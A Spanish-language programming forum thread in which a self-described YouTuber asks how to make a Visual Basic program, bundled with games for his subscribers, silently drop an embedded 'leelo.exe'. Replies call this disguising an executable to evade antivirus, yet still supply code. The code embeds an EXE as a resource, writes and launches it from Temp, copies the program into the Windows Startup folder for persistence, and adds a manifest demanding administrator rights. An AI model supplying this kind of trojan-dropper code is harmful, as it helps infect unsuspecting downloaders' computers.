Agregar archivo a exe en VB

Iniciado por leo_gec, 10 Junio 2015, 06:47 AM

0 Miembros y 2 Visitantes están viendo este tema.

leo_gec

hola, soy nuevo en este foro y quiero aprender a programar mas.
soy un youtuber y tengo a mis suscriptores, he tratado de hacer un programa en vb2008 para cuando abran el archivo se abran 2 txt al mismo tiempo y no se les olvide abrirlos.
Y se copien en el escritorio.
mi código es
Código (vb) [Seleccionar]

Public Class Form1
   Dim File As String = "%UserProfile%\Text.txt"
   Dim Copy As String = "%UserProfile%\Desktop"
   Dim Paste As String = "%UserProfile%\Desktop"
   Dim Pegar As String = "%UserProfile%\Desktop"
   Dim NEA As String = "%UserProfile%\Desktop"

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

   End Sub

   Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
     

   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       If System.IO.File.Exists(File) = True Then
           System.IO.File.Copy(File, Copy)
           System.IO.File.Copy(File, Paste)
           System.IO.File.Copy(File, Pegar)
           System.IO.File.Copy(File, NEA)

       End If
   End Sub
End Class



hasta ahora no me sale que se copie y no se como agregar el archivo al programa para que se copie al momento que mis suscriptores lo descarguen junto a los juegos. investigue pero no le ayo forma de agregarlo o me arroja el error.
si me ayudan estare a tento en aprender, si les molesto en algo o les quito su tiempo perdonen gracias

okik

#1
hola

Para incorporar elementos a nuestra aplicación: imágenes, vídeos, archivos, apliaciones, archivos binarios, cadenas, iconos, audios, ect. Se usan los archivos de recursos.


- Haz clic con el botón derecho sobre el Explorador de soluciones o bién en el menú 'Proyecto/Agregar Control de Usuario'

- Selecciona 'Archivo de recursos'

- Se te agregará una nueva paleta en el proyecto con nombre: Resource1.resx

- Dicha paleta tiene un menú. Por defecto el primero por la izquierda pone 'Cadenas'. Despliegalo haciendo clic en el triangulito a la derecha de 'Cadenas' para desplegar el menú. Selecciona 'Archivos'

- Ahora en el mismo menú pulsa 'Agregar recurso' y Busca el archivo de texto que quieres agregar, por ejemplo, 'Text.text'.


Ahora, como ejemplo, crea un botón y añade este código. El cual extrae el contenido de Text.txt, lo incorpora a una variable String y luego crea un archivo de texto en el directorio C:/ con el nombre File.txt

Código (vbnet) [Seleccionar]
Dim CopyResourceFile As New System.IO.StreamWriter("C:\File.txt") 'Crea un archivo vacío
'Introduce el texto del archivo de recursos Text.txt en strTexto
       Dim strTexto As String = My.Resources.Resource1.Text
       CopyResourceFile.WriteLine(strTexto) 'Crea el archivo
       CopyResourceFile.Flush() 'Borra bufferes



Ingoro si hay alguna función para hacerlo directamente. Es decir sin tener que crear una variable String.

Una vez compilado el programa en un EXE, es posible modificar los archivo de recursos que contiene usando programas como ResourceHacker, desde el cual puedes acceder a los recursos de una aplicación. También desde C++. (Por lo menos si que se podía con el viejo VB6)


+INFO:

https://msdn.microsoft.com/es-es/library/vstudio/6wkcc526%28v=vs.110%29.aspx




scott_

#2
No creo que vaya mas alla de eso.

Seamos sinceros, tu quieres camuflar un exe, aunque digas text.

[youtube=640,360]https://www.youtube.com/watch?v=QZftjRWjAmo[/youtube]

Pero tu quieres agregar uno dentro del exe de vb8, realmente no se como hacerlo en vb, tal vez Elektro te ayude.

Tengo que reconocerlo, muy ingenioso.


Saludos.
Si no intentas salvar una vida, jamás salvarás la de nadie más

leo_gec

el copiado no me funciona.
lo demas si
alguien me puede ayudar a completarlo???????????

Código (vb) [Seleccionar]

Public Class Form1




    Dim File As String = "%temp%\leelo.exe"

    Dim Copy As String = "%ProgramData%\"
    Dim Paste As String = "%ProgramData%\"

    Dim Pegar As String = "%ProgramData%\"

    Dim NEA As String = "%ProgramData%\"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub




    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click

        If System.IO.File.Exists(File) = True Then
            System.IO.File.Copy(File, Copy)
            System.IO.File.Copy(File, Paste)
            System.IO.File.Copy(File, Pegar)
            System.IO.File.Copy(File, NEA)

        End If

    End Sub
End Class


okik

#4
Cita de: leo_gec en 11 Junio 2015, 10:23 AM
el copiado no me funciona.
lo demas si
alguien me puede ayudar a completarlo???????????


Parece que #scott_  está en lo cierto, ya que has rectificado y has puesto "%temp%\leelo.exe". Si lo que quieres es camuflar un EXE (para que no lo detecte un antivirus...), el sistema es el mismo, debes añadirlo como archivo de recursos, pero en lugar de 'Archivo', debes seleccinar 'Otros'. Sin embargo, a la hora de crear el archivo debes leerlo y crearlo com archivo binario y darle extensión "exe".

Almenos así lo hacía con el VB6, pero no lo he hecho con VB.Net. Por mera curiosidad me lo voy a mirar, ya que estoy pasando todo lo que hacía con VB6 a VB.Net y eso no lo he pasado.

Saludos




Jo jo, ni punto de comparación en VB.Net. más fácil que en VB6.

Bueno, como he comentado arriba hay que leerlo como binario y no como archivo de texto. Y a la hora de crearlo pues lo mismo.


1. En el menú, Clic 'Proyecto'

2. Clic en 'Agregar control de usuario'

3. Selecciona 'Archivo de recursos'

4. Selecciona 'Resource1.resx'

5. En el menú de  'Resource1.resx', abre el primer menú pulsando en el triangulito y selecciona 'Otros'

6. En el mismo menú, abre el menú 'Agregar recurso' y selecciona 'Agregar archivo existente'

7. Busca el EXE, en tu caso: "leelo.exe", para añadirlo.

8. Añade el siguiente código a un evento (load, click, etc):

[v. VB.NET 2010]
Código (vbnet) [Seleccionar]
       
'Introduce el contenido del archivo de recursos leelo.exe en binFile
Dim binFile() As Byte = My.Resources.Resource1.leelo

'Crea el archivo leelo.exe en el directorio C:
My.Computer.FileSystem.WriteAllBytes("C:\Leelo.exe", binFile, True)



+INFO:
https://msdn.microsoft.com/es-es/library/szz5syt3.aspx


Espero que te funcione. ::) 

...Y por favor, no le metas ningún virus. :¬¬

Saludos


scott_

No lo creo, ya entendí perfectamente lo que quiere  ;-) ;-) ;-) ;-) ;-)


Traduciéndolo del C te dejo el código.
Código (vb) [Seleccionar]
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


'Puedes cambiar Temp por desktop o escritorio :P
       IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt", My.Resources.Text)
       Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt")

       Dim info As New FileInfo(Application.StartupPath)
       info.CopyTo(My.Computer.FileSystem.SpecialDirectories.Programs + "\startup\Text.exe")


Para agregar permisos de Administrador deberás proporcionárselos.

Código (vb) [Seleccionar]
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
 <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
   <security>
     <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
       <!-- UAC Manifest Options
           If you want to change the Windows User Account Control level replace the
           requestedExecutionLevel node with one of the following.

       <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
       <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
       <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />

           If you want to utilize File and Registry Virtualization for backward
           compatibility then delete the requestedExecutionLevel node.
       -->
       <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
     </requestedPrivileges>
   </security>
 </trustInfo>
</asmv1:assembly>


Saludos.
Si no intentas salvar una vida, jamás salvarás la de nadie más

leo_gec

justo lo q necesito scott
al compilarlo me dice unauthorizedaccessexception was unhandled
ya proporcione permosos de adm y nada.
me ayudas en eso pofvr?????????
gracias  ;)

okik

#7
Buenas

He intentado ejecutar el código y bueno,  WriteAllBytes se llama de la siguiente manera:

WriteAllBytes(ByVal path As String, ByVal bytes() As Byte)

si pones:

IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt", My.Resources.Text)

Entonces  se produce error ya que sólo admite bytes(), es decir, un exe, imagen, etc.




Para leo_gec:
"he tratado de hacer un programa en vb2008 para cuando abran el archivo... "(supong que te refieres a programa) "... se abran 2 txt al mismo tiempo y no se les olvide abrirlos.

Supongo que lo que que quieres,   es crear dos TXT y que se abran automáticamente. Se me ocurre que uses ShellExecute, ya que he probado con 'Shell'  y a través de la consola y no funcionaba.

Con ShellExecute se abren sin problema. Quizás haya otra manera, no se.


Código (vbnet) [Seleccionar]
Public Class Form1
   Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
       (ByVal hWnd As Integer, _
        ByVal lpOperation As String, _
        ByVal lpFile As String, _
        ByVal lpParameters As String, _
        ByVal lpDirectory As String, _
        ByVal nShowCmd As Integer) As Integer
   Const SW_SHOWNORMAL = 1
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim DirTemp As String = My.Computer.FileSystem.SpecialDirectories.Temp
       Dim TextFile1 As New System.IO.StreamWriter(DirTemp & "\Text1.txt") 'Crea un archivo vacío
       Dim TextFile2 As New System.IO.StreamWriter(DirTemp & "\Text2.txt") 'Crea un archivo vacío
       Dim strTexto1 As String = My.Resources.Resource1.Text1_txt 'Introuduce el texto del archivo de recursos Text.txten strTexto
       Dim strTexto2 As String = My.Resources.Resource1.Text2_txt

       TextFile1.WriteLine(strTexto1) 'Crea el archivo
       TextFile1.Flush() 'Borra bufferes
       TextFile2.WriteLine(strTexto2) 'Crea el archivo
       TextFile2.Flush() 'Borra bufferes

       ShellExecute(Me.Handle, "Open", "notepad", DirTemp & "\Text1.txt", vbNullString, SW_SHOWNORMAL)
       ShellExecute(Me.Handle, "Open", "notepad", DirTemp & "\Text2.txt", vbNullString, SW_SHOWNORMAL)

   End Sub

End Class




Cuando metes el archivo Text1.txt en Recursos, se renombra automáticamente Text1_txt. Yo cambié el nombre y le quité el "_txt" por eso he puesto esta línea de código así:

Dim strTexto1 As String = My.Resources.Resource1.Text1

pero supongo que tu no lo has cambiado, entonces sería así:

Dim strTexto1 As String = My.Resources.Resource1.Text1_txt

Por otro lado el nombre del resource lo tengo en Resource1, pero también se puede cambiar.

En resumen:  

My.Resources.[NombreResource].[NombreArchivo]

En fin para que no haya confusión lo he puesto con la extensión Text1_txt


Eleкtro

Cita de: okik en 12 Junio 2015, 18:48 PM
Supongo que lo que que quieres,   es crear dos TXT y que se abran automáticamente. Se me ocurre que uses ShellExecute, ya que he probado con 'Shell'  y a través de la consola y no funcionaba.

Con ShellExecute se abren sin problema. Quizás haya otra manera, no se.

Process.Start(filename) - MSDN

Saludos!








okik

#9
Cita de: Eleкtro en 13 Junio 2015, 10:52 AM
Process.Start(filename) - MSDN

Saludos!

Gracias Eleкtro, he probado  Process.Start y funciona bien, aunque el archivo esté en la carpeta temp.




Como la aportación de Elektro funciona he quitado ShellExecute y quedaría así:

Código (vbnet) [Seleccionar]
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim DirTemp As String = My.Computer.FileSystem.SpecialDirectories.Temp
       Dim TextFile1 As New System.IO.StreamWriter(DirTemp & "\Text1.txt") 'Crea un archivo vacío
       Dim TextFile2 As New System.IO.StreamWriter(DirTemp & "\Text2.txt") 'Crea un archivo vacío
       Dim strTexto1 As String = My.Resources.Resource1.Text1_txt 'Introuduce el texto del archivo de recursos Text.txten strTexto
       Dim strTexto2 As String = My.Resources.Resource1.Text2_txt

       TextFile1.WriteLine(strTexto1) 'Crea el archivo
       TextFile1.Flush() 'Borra bufferes
       TextFile2.WriteLine(strTexto2) 'Crea el archivo
       TextFile2.Flush() 'Borra bufferes
       Process.Start(DirTemp & "\Text1.txt") 'Abre el archivo Text1.txt
       Process.Start(DirTemp & "\Text2.txt") 'Abre el archivo Text2.txt
   End Sub